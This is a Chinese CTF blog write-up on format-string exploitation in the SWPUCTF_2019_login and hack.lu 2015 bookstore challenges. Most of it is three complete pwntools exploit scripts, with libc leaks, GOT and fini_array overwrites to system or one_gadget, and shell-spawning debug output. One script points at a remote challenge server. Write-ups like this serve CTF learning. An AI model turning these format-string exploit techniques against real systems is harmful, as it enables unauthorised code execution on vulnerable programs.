原因:
之前的关于格式化字符串的漏洞的笔记都在简书上
这次记录的这道格式化字符串的题其实也并没有什么特别的地方,不过这其中遇到的一些问题还是挺有意思的,可记录一下

题目名字是:SWPUCTF_2019_login
在buu里也有
这题在开始的时候,解题什么都还顺利。本地也顺利打通,但是后面在打远程的时候老是不行,先以为是libc的问题,后面又以为是远程环境的问题,最后发现还是自己太菜了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# thers are something wrong,it only works at the local environment
# coding=utf-8
from pwn import *
from LibcSearcher import *
context(log_level ='debug', arch = 'i386',os ='linux')
elf = ELF('./SWPUCTF_2019_login')

# io = process('./SWPUCTF_2019_login')
# libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')

io = remote('node4.buuoj.cn',25845)
libc = ELF('./libc-2.27_x32.so')
def debug():
# raw_input()
gdb.attach(io)

print_plt = elf.plt['printf']
print_got = elf.got['printf']

# print "print_got=="+hex(print_got)
# print "print_plt=="+hex(print_plt)
io.recvuntil("name:")
io.sendline('/bin/sh;')
payload = '%15$p'
# payload = '%26$p'

io.sendline(payload)
io.recvuntil("Please input your password: \n")

io.recvuntil('0x')
__libc_start_main= int(io.recvuntil('\n',drop=True),16) - 247
# print "__libc_start_main===========>"+hex(__libc_start_main)
# libc = LibcSearcher("__libc_start_main",__libc_start_main)
# libcbase = __libc_start_main - libc.dump("__libc_start_main")
# system = libcbase + libc.dump("system")
# raw_input()

# debug()

libcbase = __libc_start_main - libc.sym["__libc_start_main"]
system = libcbase + libc.sym["system"]

# print "system=============>"+hex(system)

payload = "%6$p"
io.sendline(payload)
io.recvuntil('This is the wrong password: 0x')

stack= int(io.recvuntil('\n',drop=True),16)
# print "stack===============>"+hex(stack)

offset = (stack&0xff)-0xc
# print "offset=====>"+hex(offset)
payload = "%"+str(offset)+'c'+"%6$hhn"
io.sendlineafter('Try again!\n',payload)



payload = "%"+str(int('B014',16))+'c'+"%10$hn"
io.sendlineafter('Try again!\n',payload)

payload = "%"+str(offset+0x10)+'c'+"%6$hhn"
io.sendlineafter('Try again!\n',payload)

# sleep(1)
payload = "%"+str(int('B016',16))+'c'+"%10$hn"
io.sendlineafter('Try again!\n',payload)

system_h =(system&0xffff0000)>>16
system_l =(system&0xffff)
payload = "%"+str(system_l)+'c'+"%7$hn"+"%"+str(system_h-system_l)+'c'+"%11$hn"
io.sendlineafter('Try again!\n',payload)
io.sendlineafter('Try again!\n',"/bin/sh")
io.interactive()

打本地是没有问题的

1
2
3
4
5
6
7
8
9
10
11
12
13
    b'/bin/sh\n'
[*] Switching to interactive mode
[DEBUG] Received 0x17 bytes:
b'sh: 1: This: not found\n'
sh: 1: This: not found
$ echo hello
[DEBUG] Sent 0xb bytes:
b'echo hello\n'
[DEBUG] Received 0x6 bytes:
b'hello\n'
hello
$

但是,打远程就不行

1
2
3
4
5
6
7
8
9
[DEBUG] Sent 0x8 bytes:
b'/bin/sh\n'
[*] Switching to interactive mode
[DEBUG] Received 0x2b bytes:
b'timeout: the monitored command dumped core\n'
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
$

先老是不知道原因,就想着是不是libc的问题,一阵折腾反而把一直以来libcsercher的问题绝了

后来,我仔细找了很久,找了一些其他大佬的博客,看他们的wp

找到一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
import time

# p = process('./SWPUCTF_2019_login')
p = remote('node4.buuoj.cn',25845)
libc = ELF('./libc-2.27_x32.so')
p.sendlineafter('name:','aa')
p.sendlineafter('password:','%15$p')

p.recvuntil('0x')
#10 14
__libc_start_main = int(p.recvuntil('\n',drop=True),16)-0xf1
libc_base = __libc_start_main - libc.symbols['__libc_start_main']
print('libc_base-->'+hex(libc_base))
system = libc_base + libc.sym['system']
print('system-->'+hex(system))

p.sendlineafter('Try again!','%6$p')
p.recvuntil('0x')
strack_addr0 = int(p.recvuntil('\n',drop=True),16)
print('strack_addr0-->'+hex(strack_addr0))
#0xffda2994

p.sendlineafter('Try again!','%10$p')
p.recvuntil('0x')
strack_addr1 = int(p.recvuntil('\n',drop=True),16)
print('strack_addr1-->'+hex(strack_addr1))
#0xffd2a9a4
#print_got 0x0804b014
cmd = 'b *0x08048575\n'#strack_addr1的值就是ebp第二的指针
#---------------将%14的偏移的地址处修改为print_got的地址----------
payload = '%'+str(0x14)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload) #14



payload1 = '%'+str((strack_addr1 & 0xff)+1)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload1)

payload2 = '%'+str(0xb0)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload2) #b0

payload3 = '%'+str((strack_addr1 & 0xff)+2)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload3)

payload4 = '%'+str(0x04)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload4) #04

payload5 = '%'+str((strack_addr1 & 0xff)+3)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload5)

payload6 = '%'+str(0x08)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload6) #08

#-------------------将%15的偏移处的地址覆盖为printf_got+1的地址-------------------------------
strack_addr1 = strack_addr1 + 4
payload1 = '%'+str(strack_addr1 & 0xff)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload1)

payload2 = '%'+str(0x15)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload2) #15

payload3 = '%'+str((strack_addr1 & 0xff)+1)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload3)

payload4 = '%'+str(0xb0)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload4) #b0

payload5 = '%'+str((strack_addr1 & 0xff)+2)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload5)

payload6 = '%'+str(0x04)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload6) #04

payload7 = '%'+str((strack_addr1 & 0xff)+3)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload7)

payload8 = '%'+str(0x08)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload8) #08

#------------------修改为system的地址----------------------------

payload = '%'+str(system & 0xff)+'c'+'%14$hhn'

payload += '%'+str(((system & 0xffff00)>>8)-0x10)+'c'+'%15$hn'
print(hex(((system & 0xffff00)>>8)-0x10))
p.sendlineafter('Try again!\n',payload)

time.sleep(0.5)

p.sendline('/bin/sh')


# gdb.attach(p,cmd)
p.interactive()

从思路上说,没什么大的的分歧

但他的可以远程打通,后发现,应该是地址写入的时候,我那是以每两个字节为单位写入的,而他的是以每一个字节为单位写入的

我每次写两个字节在本地没事,但远程不行。有可能是系统缓冲的问题,具体无法查证,但好歹知道了直接原因。其实,这个问题也应该想到的。我觉得两个字节应该没有问题了。还是大意了。

感谢:

第二份忘记在哪儿抄的了,但是在这里表示感谢大佬。

还是格式化字符串的题:

修改fini_ary为main函数地址,实现和程序的循环

2015 hacklu bookstore,wiki上有,

思路可以看hack.lu的https://bbs.pediy.com/thread-246783.htm

不知道为什么,就是不想写(crying…….)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91

# coding=utf-8
from pwn import *
from LibcSearcher import *
context(log_level ='debug', arch = 'amd64',os ='linux')
io = process('./books')
elf = ELF('./books')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
# libc = ELF('./libc-2.23_x64.so')
# io = remote('node3.buuoj.cn',26987)
def debug():
# raw_input()
gdb.attach(io)

def edit1(content) :
sleep(0.1)
io.sendline('1')
io.recvuntil('Enter first order:\n')
io.sendline(content)

def edit2(content) :
sleep(0.1)
io.sendline('2')
io.recvuntil('Enter second order:\n')
io.sendline(content)

def delete1() :
sleep(0.1)
io.sendline('3')

def delete2() :
sleep(0.1)
io.sendline('4')

def submit() :
sleep(0.1)
io.sendline('5')

free_got = elf.got['free']
fini_array = 0x6011B8
main_addr = 0x400A39

delete2()

payload = "%"+str(2617)+"c%13$hn" + '.%31$p' + ',%28$p'
payload += 'A'*(0x74-len(payload))
payload += p8(0x0)*(0x88-len(payload))
payload += p64(0x151)
edit1(payload)




payload2 = '5'+p8(0x0)*7 + p64(fini_array)
io.sendline(payload2)

# leak --> libc_base
io.recvuntil("0x")
data = io.recv(12)
# print hex(int(data, 16))
io.recvuntil(',0x')
ret_addr = io.recv(12)
data = int(data,16) - 240
ret_addr = int(ret_addr,16) + 0x28 - 0x210
libc_base = data - libc.symbols['__libc_start_main']
log.success('ret_addr :'+hex(ret_addr))
log.success('libcBase :'+hex(libc_base))
# debug()
one = [0x45226,0x4527a,0xf03a4,0xf1247]
# #repeat --> change ret_addr --> system_addr(one_gadget)
one_shot = libc_base + one[0]
print hex(one_shot)
one_shot1 = '0x'+str(hex(one_shot))[-2:]
one_shot2 = '0x'+str(hex(one_shot))[-6:-2]
print one_shot1,one_shot2
one_shot1 = int(one_shot1,16)
one_shot2 = int(one_shot2,16)

delete2()

payload3 = "%" + str(one_shot1) + "d%13$hhn"
payload3 += '%' + str(one_shot2-one_shot1) + 'd%14$hn'
payload3 += 'A'*(0x74-len(payload3))
payload3 += p8(0x0)*(0x88-len(payload3))
payload3 += p64(0x151)
edit1(payload3)

payload4 = '5' + p8(0x0)*7 + p64(ret_addr) + p64(ret_addr+1)
io.sendline(payload4)

io.interactive()
2022-01-16

⬆︎TOP